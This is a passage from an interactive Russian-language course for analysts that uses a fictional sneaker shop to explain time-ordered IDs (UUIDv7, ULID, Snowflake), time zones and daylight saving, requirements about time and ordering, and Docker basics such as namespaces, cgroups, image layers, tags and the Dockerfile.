    UUID версии 7 — первые 48 бит — время в миллисекундах от 1970 года (Unix-время), дальше версия, 12 бит случайности или счётчика, вариант и ещё 62 случайных бита. Поэтому v7, созданные позже, больше созданных раньше. RFC 9562 прямо советует использовать v7 вместо v1 и v6. В PostgreSQL 18 (сентябрь 2025) есть встроенная функция uuidv7().

    Почему порядок так важен? Из-за индекса. Первичный ключ почти всегда лежит в B-дереве — дереве страниц, в которых ключи отсортированы. Страница имеет фиксированный размер (в PostgreSQL — 8 КБ).

    Разрезание страницы (page split) — ключ должен лечь в полную страницу. База делит её на две полупустые и перекладывает половину ключей. Это лишняя запись на диск и в журнал, а полупустые страницы раздувают индекс.
    картотека в библиотеке, карточки по алфавиту в ящиках. Если новые книги приходят по алфавиту — вы просто кладёте карточку в последний ящик, а когда он полон, берёте новый. Если приходят вразнобой — приходится втискивать карточку в середину полного ящика, делить ящик на два и переставлять половину карточек. И весь каталог надо держать под рукой, потому что следующая карточка может понадобиться в любом ящике.

    Модель: вставка в индекс

    Выберите тип номера и вставляйте заказы. Каждая коробочка — страница индекса на 4 ключа (в настоящей базе их сотни, но суть та же). Фиолетовый ключ — последний вставленный. Красная рамка — страницу только что разрезали посередине. Сверху — раскладка битов последнего номера.

    Что вы увидите. После 40–60 вставок UUIDv4 разрезает страницы посередине почти на каждой второй-третьей вставке, заполненность индекса падает к 60–70 %, а запись разбросана по всем страницам. UUIDv7, Snowflake и автоинкремент пишут в правый край: страницы заполнены целиком, разрезов посередине нет. Балл — за 20+ вставок и v4, и v7.

    ULID и Snowflake

    ULID (universally unique lexicographically sortable identifier) — 128 бит: 48 бит времени в миллисекундах и 80 случайных бит. Записывается 26 символами в кодировке Crockford Base32 и сортируется как обычная строка. Это спецификация сообщества, а не стандарт IETF. Сейчас чаще выбирают UUIDv7: те же свойства, но стандарт и готовый тип uuid в базах.
    Snowflake ID — схема Twitter (2010 год): 64-битное число. 1 бит знака (всегда 0), 41 бит — миллисекунды от своей эпохи (хватает примерно на 69 лет), 10 бит — номер машины (до 1024 машин), 12 бит — счётчик внутри миллисекунды (до 4096 номеров в миллисекунду на машину). Похожие схемы используют Discord, Instagram и многие другие.
    номер вагона поезда: дата отправления, номер поезда, номер вагона. Два разных вагона не могут получить один номер, и по номерам их легко выстроить по дате.
    Подвохи Snowflake. Номер машины нужно кому-то раздавать и не выдать дважды: две машины с номером 7 — снова дубли. Если часы машины прыгнули назад, генератор может повторить уже выданные номера; поэтому он должен ждать, пока часы догонят последнюю метку, или отказывать. И порядок номеров с разных машин — это порядок по их часам, со всеми бедами главы 2: для «примерно по времени» годится, для «кто был первым» — нет.

    Сравнение одной таблицей

    Нажмите на строку, чтобы раскрыть пояснение.

    Частые ошибки. 1) Хранить UUID строкой из 36 символов вместо типа uuid — вдвое больше места и медленнее сравнение. 2) Показывать покупателю UUID как «номер заказа» — его невозможно продиктовать в поддержку. Технический идентификатор и человеческий номер — разные поля. 3) Считать, что UUIDv7 «не раскрывает ничего»: момент создания из него читается. 4) Сортировать по UUIDv7 и считать это точным порядком событий между серверами.
    «Идентификатор заказа — UUIDv7, генерируется сервисом заказов до записи в базу и используется как ключ идемпотентности. Покупателю показывается отдельный номер заказа из 8 цифр без связи с объёмом продаж. Идентификатор не используется для сортировки по времени: для этого есть поле created_at.»

    Как устроено B-дерево и зачем индексы — в разделе .

    глава 12 · время в данных UTC, часовые пояса, летнее время и «через 30 дней»

    До сих пор время было техническим. Но в бизнес-данных его полно: момент оплаты, дата доставки, «акция до конца дня», «подписка на месяц». Здесь ошибаются чаще всего — и чаще всего это ошибка постановки, а не кода. «Ботинок» теперь продаёт по всей России, а ещё открыл магазины в Берлине и Нью-Йорке.

    UTC (всемирное координированное время) — единая шкала времени для всей Земли, без летнего времени. Московское время — UTC+3, всегда (с 26 октября 2014 года часы в Москве не переводят).
    Момент (instant) — точка на общей шкале времени, одна и та же для всех: «оплата прошла в 2026-09-30T09:00:00Z». Буква Z означает UTC. Для Анны в Москве это 12:00, для Бориса во Владивостоке — 19:00, но момент один.
    Часовой пояс (time zone) — не число, а правило: Europe/Berlin — «UTC+1 зимой, UTC+2 летом, переводы в последнее воскресенье марта и октября». Смещение (offset) — просто число для конкретного момента: +02:00. Правила хранятся в базе часовых поясов IANA (tzdata). Её обновляют несколько раз в год, потому что страны меняют правила.
    ISO 8601 (и его строгий профиль RFC 3339) — стандартная запись даты и времени: 2026-03-29T01:30:00+01:00 или 2026-03-29T00:30:00Z. Год-месяц-день, буква T, время, смещение. Такая запись однозначна и правильно сортируется.
    время в аэропорту на табло — всегда местное, а в билете на пересадку — тоже местное, но другого города. Пилоты и диспетчеры, чтобы не путаться, говорят между собой в UTC (его там называют «Зулу»). Отсюда и буква Z.

    Четыре разных «времени» — не путайте

    🎯 Момент

    Когда что-то случилось. Одно и то же для всех. Хранить в UTC. Примеры: создан заказ, прошла оплата, отправлено письмо. PostgreSQL: timestamptz. Java: Instant.

    📅 Календарная дата

    День в календаре, без времени и пояса. Примеры: дата доставки «2 октября», день рождения, дата в договоре. Если хранить как «2 октября 00:00 UTC», во Владивостоке это превратится в «2 октября 10:00», а в Нью-Йорке — в «1 октября 20:00». PostgreSQL: date. Java: LocalDate.

    🗺 Местное время + пояс

    Будущее событие «по местным часам». Примеры: «присылать сводку каждый день в 9:00 по времени покупателя», «распродажа в берлинском магазине 1 ноября 2027 в 10:00». Хранить местное время и имя пояса (Europe/Berlin), а момент вычислять ближе к делу: правила пояса могут поменяться.

    ⏳ Длительность и период

    «Сколько». Длительность — точное время: «оплатить за 15 минут», «720 часов». Период — календарный: «30 дней», «1 месяц», «3 рабочих дня». Это разные вещи: см. пример ниже. Java: Duration и Period.

    Подвох PostgreSQL. Тип timestamptz («с часовым поясом») на самом деле пояс не хранит. Он переводит момент в UTC при записи и обратно в пояс сессии при чтении. Если важно, в каком поясе была покупка (для чека, для отчёта по магазину), храните имя пояса отдельным полем. А тип timestamp без пояса — это «настенное» время неизвестно где: для моментов он опасен.

    Летнее время: часы, которых нет, и часы, которые были дважды

    Весной в Берлине в 02:00 часы переводят на 03:00: времени 02:30 в этот день не существует. Осенью в 03:00 их переводят на 02:00: время 02:30 бывает дважды. В Нью-Йорке так же, но в другие дни и часы. Выберите город, день и местное время.

    02:30
    Как читать. Полоса — сутки перевода с 00:00 до 04:00 по местным часам. Красный участок — «дыра»: такого местного времени не было. Жёлтый — «двойной» час: он прошёл дважды, с разными смещениями. Карточки ниже — во что превращается выбранное местное время: момент в UTC и запись по ISO 8601. Даты 2026 года: Берлин — 29 марта и 25 октября, Нью-Йорк — 8 марта и 1 ноября.
    «Курьерский слот задаётся местной датой и временем адреса доставки и именем пояса IANA. Если выбранное время попадает в несуществующий час перехода на летнее время, слот сдвигается на час вперёд; если в двойной час — выбирается первый из двух моментов.»

    «Через 30 дней» и «до конца дня»

    Анна оформила подписку в берлинском магазине 20 октября 2026 в 12:00 по местному времени (это 10:00 UTC). Подписка «на 30 дней». Когда она кончится?

    30 календарных дней

    19 ноября, 12:00 по Берлину. Анна ожидает именно этого: «в то же время дня».

    720 часов

    19 ноября, 11:00 по Берлину. 25 октября часы перевели назад, в тех сутках было 25 часов. Подписка кончится на час раньше, чем Анна ждёт.

    Похожие ловушки: «через месяц» от 31 января — это 28 февраля (так считает большинство библиотек), а через месяц от 28 февраля — 28 марта. «Акция до 23:59 31 декабря» — для Калининграда (UTC+2) и Владивостока (UTC+10) это моменты с разницей в 8 часов. Какой из них имелся в виду — решает постановка.

    Тренажёр: как хранить это поле?

    Разложите поля «Ботинка» по видам времени.

    Решено 0 из 0.

    глава 13 · требования как аналитику формулировать порядок и время

    Разработчик сам не решит, что делать с одновременными правками корзины или с покупкой, пришедшей через минуту после закрытия окна. Это решения бизнеса. Задача аналитика — задать вопросы и записать ответы так, чтобы их нельзя было прочитать двумя способами.

    Вопросы, которые стоит задать

    Нажмите на вопрос, чтобы раскрыть пояснение.

    Было → стало: формулировки

    Нажмите на строку, чтобы увидеть, почему первая формулировка плохая.

    Шаблон раздела «Время и порядок» в постановке

    Время и порядок — сервис заказов
    1. Моменты (created_at, paid_at): UTC, timestamptz, точность — мс.
       Источник — часы сервиса заказов (NTP, один источник, контроль
       расхождения ≤ 100 мс). Для порядка изменений НЕ используются.
    2. Порядок изменений заказа: поле version (целое, +1 на изменение).
       Изменение с устаревшей версией отклоняется: 409 Conflict.
    3. События заказа: ключ партиции — order_id; порядок гарантируется
       в пределах заказа. В событии: event_id (UUIDv7), order_id, version,
       occurred_at (UTC). Получатели идемпотентны: дедупликация по event_id,
       применение только version > последней применённой.
    4. Даты для людей: delivery_date — date (без времени и пояса),
       слоты курьера — местное время + пояс IANA адреса доставки.
    5. Сроки: «оплатить за 15 минут» — длительность от paid_deadline
       (момент, UTC); «вернуть в течение 14 дней» — календарные дни
       в поясе покупателя, до 23:59:59 последнего дня.
    6. Отчёты: сутки считаются по московскому времени по occurred_at;
       записи, пришедшие позже 03:00 следующего дня, попадают в пересчёт.

    Частые ошибки

    Проще говоря. Хорошая постановка про время отвечает на пять вопросов: по каким часам, в каком поясе, что считается порядком, что делать при одновременных изменениях и что делать с опоздавшими и повторными событиями. Если хоть на один ответа нет — его придумает разработчик, и, скорее всего, по-своему.

    глава 14 · проверь себя двенадцать вопросов про время и порядок

    Решено 0 из 0.

    Дальше → контейнеры и Docker: как упаковать сервис так, чтобы он одинаково запускался везде

    Контейнер — это ваше приложение, упакованное вместе со всем, что ему нужно, в стандартную коробку. Коробку одинаково запускают на ноутбуке разработчика, на тестовом стенде и на боевом сервере. Раздел проведёт одна история: команда магазина кроссовок «Ботинок» устала от фразы «а у меня работает» и переезжает в контейнеры. Мы разберём, что такое контейнер на самом деле (спойлер: это обычный процесс в шорах), соберём образ своими руками, поломаем остановку, уроним базу на локальном стенде и поймём, что из этого должен знать аналитик.

    зачем это зачем магазину контейнеры

    карта раздела одна история, шестнадцать глав

    Главы идут по порядку: каждая опирается на предыдущую. Первые четыре — фундамент: что такое контейнер и чем он отличается от виртуальной машины. Дальше — образ и Dockerfile, жизнь контейнера, данные и сеть, локальный стенд. В конце — безопасность, ресурсы, экосистема и взгляд аналитика. Нажмите на главу, чтобы перейти к ней.

    глава 1 · завязка четверг, 18:10: «а у меня работает»

    Разработчик Борис неделю переписывал сервис каталога магазина «Ботинок» — тот, что показывает покупателям кроссовки, цены и фотографии. На его ноутбуке всё летает. В четверг вечером инженер эксплуатации Вера выкладывает новую версию на боевой сервер по инструкции из внутренней вики. Через минуту каталог падает. Покупательница Анна видит белую страницу вместо кроссовок.

    Вера и Борис два часа ищут, в чём разница между ноутбуком и сервером. Находят сразу пять причин:

    • на ноутбуке Бориса Node.js 24, на сервере — Node.js 18: новый код вызывает функцию, которой в старой версии нет;
    • библиотека для обработки картинок скачала на ноутбук сборку под macOS, а сервер работает на Linux — ей нужна другая сборка;
    • на ноутбуке часовой пояс — Москва, на сервере — UTC: акция «до полуночи» закончилась у покупателей в три часа ночи;
    • адрес базы данных Борис когда-то прописал у себя в настройках терминала — на сервере этой переменной просто нет;
    • в вики написано «установите ImageMagick», но не написано, какую версию. На сервере стоит та, что была два года назад.

    Ни одна из этих причин не связана с кодом, который писал Борис. Всё сломало окружение.

    Окружение (environment) — всё, что окружает программу на машине, где она запущена: операционная система, версии языка и библиотек, системные утилиты, часовой пояс, переменные окружения, файлы настроек.
    вы печёте по бабушкиному рецепту, а пирог не получается. Рецепт тот же. Но у вас другая мука, духовка греет на 20 градусов меньше, а «стакан сахара» у бабушки был гранёный, а у вас — кружка на 400 мл.

    Сервер-снежинка и дрейф конфигурации

    Боевой сервер каталога настраивали руками пять лет. Кто-то ставил пакеты, кто-то правил файлы настроек, кто-то «временно» отключал проверку. Записано было не всё. Теперь сервер уникален, как снежинка: второго такого нет, и собрать его заново никто не возьмётся.

    Сервер-снежинка (snowflake server) — сервер, настроенный вручную так, что его точную копию уже нельзя воспроизвести. Все боятся его трогать.
    Дрейф конфигурации (configuration drift) — постепенное расхождение машин, которые должны быть одинаковыми. На тестовом сервере обновили библиотеку, на боевом забыли — и среды разошлись.
    две одинаковые квартиры в новостройке через пять лет: в одной поменяли проводку, в другой — трубы, в третьей снесли стену. Планировка на бумаге одна, а жить приходится в трёх разных квартирах.

    Пройдите по трём средам каталога и сравните, что в них стоит. Потом переключите на «в контейнере» — и посмотрите, что изменится, а что — нет.

    Морской контейнер: идея, которая изменила торговлю

    До середины 1950-х корабли грузили вручную. Мешки, бочки, ящики разной формы. Каждую вещь грузчики поднимали отдельно, погрузка шла днями, часть груза билась и пропадала. В каждом порту — свои правила. В 1956 году американский предприниматель Малкольм Маклин отправил в рейс старый танкер, переделанный под одинаковые стальные ящики — их было 58. Порту стало всё равно, что внутри — кроссовки, кофе или станки. Кран, корабль, поезд и грузовик научились работать с одной и той же коробкой.

    Программные контейнеры делают то же самое. Эксплуатации всё равно, на чём написан сервис: Node.js, Java или Python. Она умеет запускать «контейнер» — и этого достаточно. А всё, что нужно сервису, лежит внутри коробки.

    Контейнер (container) — запущенная программа, которая получила от ядра Linux собственный «вид» на систему (свои процессы, сеть, файлы) и ограниченные ресурсы, и работает на файловой системе, собранной из образа. Физически это обычный процесс на машине — просто с особыми настройками.
    Образ (image) — неизменяемый шаблон, из которого запускают контейнер: файлы приложения, среда выполнения (например, Node.js), системные библиотеки и настройки по умолчанию — какую команду запускать, от какого пользователя, какой порт слушать.
    Docker — набор инструментов, который в 2013 году сделал контейнеры удобными: собрать образ по рецепту (Dockerfile), положить его в хранилище (реестр) и запустить одной командой. Сами механизмы изоляции — части ядра Linux — появились раньше; Docker их упаковал.
    Проще говоря. Раньше мы отправляли на сервер код и инструкцию «что доустановить». Теперь отправляем готовую коробку, в которой всё уже доустановлено. Сервер должен уметь только одно — открыть коробку.
    Чего контейнер НЕ решает. Он не делает код правильным и не прячет разницу в настройках: адрес базы на тесте и в проде всё равно разный — и так и должно быть (об этом — глава 11). И он не приносит с собой ядро операционной системы: ядро у всех контейнеров на машине общее, хозяйское. Почему — в следующей главе.
    • «Сервис поставляется как образ контейнера. Один и тот же образ без пересборки проходит тестовую, предрелизную и боевую среды; различаются только настройки».
    • «Все зависимости сервиса (версия среды выполнения, системные библиотеки) зафиксированы в образе. Установка чего-либо на сервер вручную не требуется».

    глава 2 · ВМ или контейнер дома и квартиры

    Первое, что спросил аналитик Олег: «А чем это отличается от виртуальных машин? Мы же и так каждому сервису даём отдельную виртуалку». Хороший вопрос. Разберём оба способа по слоям — снизу вверх.

    Ядро (kernel) — главная часть операционной системы. Оно распределяет процессор и память между программами, работает с дисками и сетью. Программы не трогают железо напрямую — они просят ядро.
    Виртуальная машина (virtual machine, ВМ) — программная имитация целого компьютера. У неё свой виртуальный процессор, память, диск — и своя полноценная операционная система со своим ядром (её называют гостевой ОС).
    Гипервизор (hypervisor) — программа, которая делит настоящий компьютер на виртуальные машины. Бывает «на голом железе» (VMware ESXi, KVM, Hyper-V) и «поверх обычной ОС» (VirtualBox).
    виртуальные машины — это отдельные дома на одном участке. У каждого свой фундамент, котёл, водопровод и счётчик. Надёжно: пожар в одном доме не перекинется в другой. Но каждый дом дорог и строится долго. Контейнеры — это квартиры в одном многоквартирном доме. Фундамент, трубы и котельная общие (это ядро), а двери, замки и счётчики — свои. Квартир на том же участке помещается гораздо больше, въехать можно за день. Но трещина в фундаменте — беда для всех квартир сразу.
    Виртуальные машины
    Каталог
    Node.js + библиотеки
    гостевая ОС + ядро
    Корзина
    Java + библиотеки
    гостевая ОС + ядро
    гипервизор
    железо сервера
    Контейнеры
    Каталог
    Node.js + библиотеки
    Корзина
    Java + библиотеки
    среда контейнеров (Docker, containerd)
    одна ОС хозяина и ОДНО общее ядро
    железо сервера

    Как читать схему. Оранжевым отмечено то, что есть у каждой ВМ своё, а у контейнеров — одно на всех: операционная система с ядром. Именно она съедает память, место на диске и время загрузки. У контейнера её нет: он приносит только приложение и библиотеки, а ядро берёт хозяйское.

    Живая модель: сколько сервисов влезет в один сервер

    У «Ботинка» сервер на 64 ГБ памяти. 2 ГБ занимает операционная система самого сервера. Двигайте ползунок — сколько экземпляров сервисов хотим запустить. Слева каждый экземпляр живёт в своей ВМ, справа — в контейнере.

    12
    Что заложено в модель. Гостевой ОС внутри каждой ВМ даём 1 ГБ памяти и 10 ГБ диска — это скромная, но реалистичная оценка для небольшого Linux-сервера. Накладные расходы контейнера — порядка десятков мегабайт (своя таблица процессов, сетевой интерфейс, слой для записи). Время загрузки ВМ — десятки секунд, потому что загружается целая ОС; контейнер стартует за доли секунды, потому что загружать нечего: ядро уже работает. Время старта самого приложения (пока Node.js или Java прогреется) одинаково в обоих случаях.

    Сравнение по пунктам

    Нажмите на строку — раскроется пояснение.

    Где у изоляции контейнеров предел

    Раз ядро общее, у контейнерной изоляции есть потолок. Процесс в контейнере говорит с тем же ядром, что и соседи. Если в ядре или в программе запуска контейнеров найдут дыру, процесс может «сбежать» на хозяина. Так уже было: уязвимость CVE-2019-5736 позволяла из контейнера перезаписать программу запуска runc на хосте, а CVE-2024-21626 (её прозвали «Leaky Vessels») — выбраться в файловую систему хоста через «утёкший» открытый каталог хоста.

    Побег из контейнера (container escape) — ситуация, когда процесс внутри контейнера получает доступ к машине-хозяину или к соседним контейнерам в обход изоляции.

    Поэтому на практике делают так:

    • Свои сервисы одной команды — спокойно рядом в контейнерах на одной машине.
    • Чужой, непроверенный код (например, код клиентов облака) — в более толстой изоляции: gVisor (прослойка, которая перехватывает обращения к ядру), Kata Containers или Firecracker (крошечная ВМ под каждый контейнер или функцию; её используют AWS Lambda и Fargate).
    • В облаке контейнеры обычно работают внутри ВМ: виртуалка отделяет одного клиента облака от другого, а контейнеры внутри неё дают плотность и скорость. Это не «или — или», а «и то, и другое».
    А как же Docker на Mac и Windows? Контейнерам нужно ядро Linux. На Mac и Windows его нет, поэтому Docker Desktop тихо запускает маленькую виртуальную машину с Linux (на Windows — через WSL 2), и контейнеры живут в ней. Отсюда частый сюрприз: на Mac с процессором Apple собранный образ — для архитектуры arm64, а боевой сервер — amd64. Запуск такого образа на сервере заканчивается ошибкой exec format error. Лечится сборкой под нужную платформу (--platform linux/amd64) или сразу под обе.
    • «Сервисы разных клиентов (арендаторов) не должны делить одно ядро ОС: изоляция арендаторов — на уровне виртуальных машин» — если такое требование есть, обычных контейнеров мало.
    • «Время запуска нового экземпляра сервиса до готовности принимать запросы — не более 15 секунд» — такое требование выполнимо с контейнерами и почти невыполнимо с ВМ, которую надо загружать с нуля.

    глава 3 · изнутри контейнер — это процесс в шорах

    Вера зашла на сервер, где уже крутится контейнер каталога, и набрала команду, которая показывает все процессы машины. Среди них нашёлся обычный процесс node dist/server.js с номером 4411. Никакой «коробки» вокруг него не видно. А внутри контейнера тот же самый процесс считает, что у него номер 1 и что он на машине один.

    Проще говоря. Контейнер — не отдельная машина и не коробка из стали. Это обычный процесс Linux, которому ядро надело шоры: он видит только «свою» часть системы. Шоры — это пространства имён. Поводок, который не даёт процессу съесть всю память, — это контрольные группы (следующая глава). А «своя» файловая система собрана из слоёв образа (тоже следующая глава). Три механизма ядра — и всё.
    Пространство имён (namespace) — механизм ядра Linux, который показывает процессу собственную копию какого-то системного ресурса: свой список процессов, свою сеть, своё имя машины. Процесс не знает, что копия — не настоящая.
    шоры у лошади. Лошадь та же, дорога та же, но она видит только полосу впереди — и не пугается машин по бокам. Процесс в контейнере так же «не видит» соседей, хотя живёт на той же машине.

    В Linux восемь видов пространств имён. Docker по умолчанию надевает контейнеру шесть из них, седьмое (пользователи) включается отдельно. Восьмое — пространство имён времени (time) — появилось в ядре 5.6 и нужно редко: оно позволяет контейнеру видеть свои часы «с момента загрузки», например при переносе контейнера с машины на машину. Docker его не использует.

    Снимите шоры по одной

    Ниже семь окошек — по одному на вид шор. В каждом — команда, которую процесс выполнил внутри контейнера, и то, что он увидел. Нажмите «снять шоры» и посмотрите, что откроется. Рядом — флаг Docker, который делает то же самое в жизни. Для наглядности считаем, что в образе есть оболочка и утилиты (в минимальных образах их нет — и это хорошо, глава 12).

    Что вы увидите. Зелёная рамка — шоры надеты, процесс видит только своё. Красная — сняты, процесс видит хозяйскую машину. Обратите внимание на окошко user: в обычном Docker эти шоры по умолчанию сняты. Это значит, что root внутри контейнера — это root и для ядра хозяина. Пока изоляция держится, это не страшно. Но если процесс сбежит (глава 2), он окажется на сервере с максимальными правами. Отсюда правило главы 12: не запускайте приложение от root.
    • «Для отладки» запускают контейнер с --pid=host или --network host и забывают убрать. Изоляции больше нет, а в требованиях написано, что она есть.
    • Ищут, почему не работает localhost:5432 из контейнера приложения. У контейнера свой сетевой стек, и localhost — это он сам, а не машина и не соседний контейнер с базой (глава 9).

    глава 4 · изнутри поводок и калька: cgroups и слои файлов

    Шоры ограничивают то, что процесс видит. Но не то, сколько он ест. Процесс в шорах всё ещё может занять всю память сервера — и соседние контейнеры упадут. Для этого есть второй механизм.

    Контрольные группы (control groups, cgroups) — механизм ядра Linux, который объединяет процессы в группу, считает, сколько ресурсов она потребляет, и ставит лимиты: процессор, память, скорость диска, число процессов. Сейчас везде используется вторая версия — cgroup v2.
    поводок у собаки. Гулять можно, бегать можно, но не дальше пяти метров. Или лимит на детской банковской карте: тратить можно, но не больше 3 000 ₽ в месяц — дальше карта просто не проведёт покупку.

    Что именно ограничивают контрольные группы и что бывает при превышении — это важно, потому что реакция разная:

    Память

    Флаг --memory=512m. Если процесс пытается взять больше, ядро сначала пробует освободить кеши. Не вышло — приходит OOM-убийца и убивает процесс. Жёстко, без предупреждения.

    Процессор

    Флаг --cpus=1.5. Превысить нельзя, но и убивать никто не будет: процесс просто ставят на паузу до следующего кусочка времени. Это называется троттлинг (глава 13). Снаружи выглядит как «сервис тормозит».

    Число процессов

    Флаг --pids-limit=200. Защищает от ошибки, когда программа бесконечно порождает процессы и кладёт всю машину. При превышении новые процессы просто не создаются.

    OOM-убийца (Out Of Memory killer) — часть ядра Linux, которая при нехватке памяти выбирает процесс и убивает его сигналом SIGKILL. Внутри контейнера с лимитом памяти убийца срабатывает, когда группа упёрлась в свой лимит, даже если на сервере свободно ещё 50 ГБ.
    Код выхода 137 — так Docker сообщает, что процесс убит сигналом SIGKILL: 128 + номер сигнала 9 = 137. Если рядом в docker inspect стоит "OOMKilled": true — убил OOM-убийца за превышение лимита памяти.

    Живая модель: распродажа и лимит памяти

    Каталог держит в памяти кеш товаров и картинок. В обычный день ему хватает около 380 МБ, а в распродажу, когда тысячи покупателей листают страницы, — около 900 МБ. Поставьте лимит памяти контейнеру, выберите день и пустите покупателей.

    512 МБ
    0 МБ
    $ docker run -d --memory=512m --restart=unless-stopped botinok/catalog:1.9.0
    Что вы увидите. Полоса — сколько памяти занял процесс. Красная пунктирная линия — лимит. Когда полоса упирается в лимит, ядро убивает процесс: контейнер выходит с кодом 137, Docker по политике перезапуска поднимает его снова — кеш пустой, память опять растёт, и через минуту всё повторяется. В Kubernetes такой круг называется CrashLoopBackOff. Лечится не «перезапуском», а правильным лимитом или ограничением кеша внутри приложения.

    Файловая система из слоёв: калька поверх карты

    Третий механизм отвечает за файлы. Образ каталога весит около 200 МБ. Если на сервере запустить десять контейнеров каталога, будет ли занято 2 ГБ? Нет — около 200 МБ плюс немного. Секрет в том, как собрана файловая система контейнера.

    Слой (layer) — архив с изменениями файлов: что добавили, поменяли или удалили относительно предыдущего слоя. Образ — это стопка слоёв только для чтения.
    OverlayFS — файловая система Linux, которая складывает несколько каталогов-слоёв в одну общую картину. Нижние слои (из образа) только читаются, верхний (слой контейнера) — для записи. Процесс видит результат наложения и не знает, что файлы лежат в разных местах.
    Копирование при записи (copy-on-write) — правило: пока файл только читают, он один на всех. Когда контейнер хочет его изменить, ядро сначала копирует файл в верхний слой этого контейнера, и правка идёт уже в копию.
    печатная карта города и калька поверх неё. Вы рисуете маршрут на кальке — карта остаётся чистой. Чтобы «стереть» улицу, вы закрашиваете её белым на кальке, а на карте она по-прежнему есть. Десять человек могут положить десять своих калек на одну и ту же карту. Выбросили кальку — всех ваших пометок как не бывало.

    Попробуйте сами. Ниже — стопка слоёв образа каталога и верхний слой контейнера. Делайте с файлами что угодно и смотрите, куда уходят изменения.

    что видит процесс (итоговая картина)
    Два вывода, которые пригодятся дальше. Первый: всё, что контейнер записал «к себе», живёт в верхнем слое и исчезает вместе с контейнером. Базу данных так хранить нельзя — для этого тома (глава 9). Второй: удаление файла в верхнем слое не уменьшает нижние. Если в одном слое образа положить архив на 300 МБ, а в следующем удалить его — образ всё равно будет весить на 300 МБ больше. Так же «удалённый» пароль остаётся в старом слое и достаётся оттуда за минуту (глава 12).

    глава 5 · образ рецепт и пирог: образ, теги, реестр

    Олег путал слова «образ» и «контейнер» и честно признался в этом на планёрке. Путают все, поэтому разберём по-честному.

    Образ (image)

    Неизменяемый шаблон. Лежит на диске или в реестре, ничего не делает. Один образ — сколько угодно контейнеров. Собирается командой docker build.

    Контейнер (container)

    Запущенный экземпляр образа: процесс плюс свой верхний слой для записи, своя сеть, свои лимиты. Живёт, меняется, умирает. Создаётся командой docker run.

    образ — это рецепт пирога, записанный в книгу. Контейнер — испечённый пирог. По одному рецепту можно испечь десять пирогов; если один подгорел, рецепт от этого не испортится. А программисту ближе другая аналогия: образ — это класс, контейнер — объект, созданный из класса.

    Из чего состоит образ

    Образ — это три вида файлов:

    • Слои — архивы с файлами (глава 4). Каждый назван по отпечатку своего содержимого, например sha256:3c1e…. Одинаковый слой хранится на диске один раз, даже если его используют сто образов.
    • Конфигурация — какую команду запускать, от какого пользователя, какие переменные окружения выставить, какой порт приложение слушает.
    • Манифест (manifest) — оглавление: список слоёв и ссылка на конфигурацию. Отпечаток манифеста и есть «настоящее имя» образа.
    Отпечаток (digest) — контрольная сумма SHA-256 содержимого, например sha256:9f86d0…. Если изменить хоть один байт, отпечаток станет другим. Поэтому ссылка по отпечатку всегда указывает ровно на одно содержимое.
    Тег (tag) — человекочитаемый ярлык на образе: botinok/catalog:1.9.0. Тег можно в любой момент переклеить на другой образ. Тег latest — это просто тег по умолчанию, если вы не указали другой. Он не значит «самый свежий».
    тег — это наклейка «Мамин суп» на банке в холодильнике. Сегодня в банке борщ, завтра кто-то переклеил наклейку на банку с солянкой. Отпечаток — это состав, выбитый на самой банке: его не переклеишь.

    Реестр: где живут образы

    Реестр (registry) — сервер-хранилище образов. Публичные: Docker Hub, GitHub Container Registry. Облачные: у каждого крупного облака свой. Свой собственный: например, Harbor или реестр внутри GitLab. Полное имя образа включает адрес реестра: registry.botinok.ru/shop/catalog:1.9.0.
    склад готовой продукции. Пекарня (сборка) привозит туда пироги, магазины (серверы) забирают. Склад помнит, какие коробки у него уже есть, и одинаковое не принимает дважды.

    Посмотрите, что происходит при docker push (отправить образ в реестр) и docker pull (скачать на сервер). Главное — никто не гоняет образ целиком: передаются только слои, которых у получателя ещё нет.

    Почему latest опасен: история одной недели

    Пройдите по шагам историю, которая случилась в «Ботинке», пока там разворачивали всё по тегу latest.

    Это случается не только с образами. В марте 2026 года злоумышленники переписали десятки версионных тегов GitHub Action для запуска сканера уязвимостей Trivy (уязвимость учтена как CVE-2026-33634). Конвейеры, которые ссылались на тег, а не на полный хеш коммита, без единого изменения в своих файлах начали выполнять чужой код. Урок тот же: тег можно переклеить, отпечаток — нет.
    Стандарт OCI (Open Container Initiative) — открытые спецификации, принятые в 2015 году под крылом Linux Foundation: формат образа, способ его запуска и протокол реестра. Благодаря им образ, собранный в Docker, запускается в Podman, containerd и Kubernetes, а лежать может в любом совместимом реестре. Подробнее — в главе 14.
    • «В боевую среду разворачивается образ, указанный по отпечатку (digest). Теги вида latest в манифестах развёртывания запрещены».
    • «Каждый образ помечается версией сервиса и хешем коммита (1.9.0, git-4f2c1ab); теги версий в реестре неизменяемы».
    • «Откат на предыдущую версию выполняется разворачиванием предыдущего образа из реестра и занимает не более 5 минут».

    глава 6 · рецепт Dockerfile построчно

    Борис пишет рецепт образа каталога. Рецепт называется Dockerfile — это обычный текстовый файл в корне репозитория.

    Dockerfile — текстовый файл с инструкциями, как собрать образ: с какого образа начать, какие файлы скопировать, какие команды выполнить, что запускать при старте. Каждая инструкция — одна строка, выполняются сверху вниз.
    технологическая карта в столовой: «взять 2 кг муки, просеять, добавить 6 яиц, замесить, выпекать 40 минут при 180°». Повар может смениться — пирог выйдет тем же.
    Контекст сборки (build context) — папка, которую вы отдаёте сборщику командой docker build . (точка — это и есть контекст). Инструкции COPY берут файлы только из неё.

    Ниже — финальная версия рецепта, к которой команда придёт в следующей главе. Нажимайте на строки — справа появится подробное объяснение: что делает инструкция, зачем она тут и что будет, если написать иначе.

    Файл .dockerignore: что НЕ отдавать сборщику

    Рядом с Dockerfile лежит ещё один маленький файл. Он работает как .gitignore: перечисляет, чего не должно быть в контексте сборки.

    node_modules
    dist
    .git
    .env
    .env.*
    *.md
    coverage
    docker-compose*.yml
    • node_modules и dist — их всё равно создаст сборка. Если скопировать их с ноутбука, в образ попадут библиотеки, собранные под macOS или Windows.
    • .git — сотни мегабайт истории, которые не нужны для запуска. И любая фиксация в git будет ломать кеш сборки (следующая глава).
    • .env — файл с паролями разработчика. Без этой строки COPY . . положит пароли прямо в образ, а образ уедет в реестр.
    • *.md — правка README не должна пересобирать приложение.
    вы переезжаете и вызвали грузчиков. Список «что не брать» — старые газеты, мусорный пакет и папку с паспортами, которую повезёте сами. Без списка грузчики честно упакуют всё, что увидят.

    ENTRYPOINT и CMD: что на самом деле запустится

